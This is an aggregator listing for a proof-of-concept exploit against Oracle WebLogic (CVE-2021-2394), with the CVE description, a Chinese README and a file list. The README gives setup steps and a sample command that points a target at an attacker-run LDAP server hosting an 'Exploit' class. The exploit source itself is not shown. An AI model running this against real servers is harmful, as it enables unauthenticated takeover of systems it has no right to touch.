CVE-2021-2394 PoC — Oracle Fusion Middleware输入验证错误漏洞

Source

https://github.com/freeide/CVE-2021-2394

Associated Vulnerability

Title:Oracle Fusion Middleware输入验证错误漏洞 (CVE-2021-2394)
Description:Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Description

POC of CVE-2021-2394

Readme

# CVE-2021-2394

POC of CVE-2021-2394

- 免责声明
  - 项目仅供学习使用，任何未授权检测造成的直接或者间接的后果及损失，均由使用者本人负责

* 注意事项
  * POC使用IIOP发包，请添加相关依赖（已将12.2.1.3.0版本的依赖放release）
  * 请使用低版本的jdk安装weblogic进行测试

* 使用方法：
  * 启动一个ldap服务
  * `java -jar CVE_2021_2394.jar rhost rport ldapurl`
  * eg:`java -jar CVE_2021_2394.jar 192.168.137.1 7001 ldap://192.168.137.1:8087/Exploit`
* 参考链接：
  * https://mp.weixin.qq.com/s/onoMpyenDkMmsoGEw8VO2A
  * https://github.com/Y4er/CVE-2020-14756

File Snapshot


 [4.0K]  /data/pocs/a9b6512dbf45762bdc473040c85f1ae161aa636e
├── [6.0K]  CVE_2021_2394.java
├── [ 653]  README.md
└── [2.5K]  Reflections.java

0 directories, 3 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!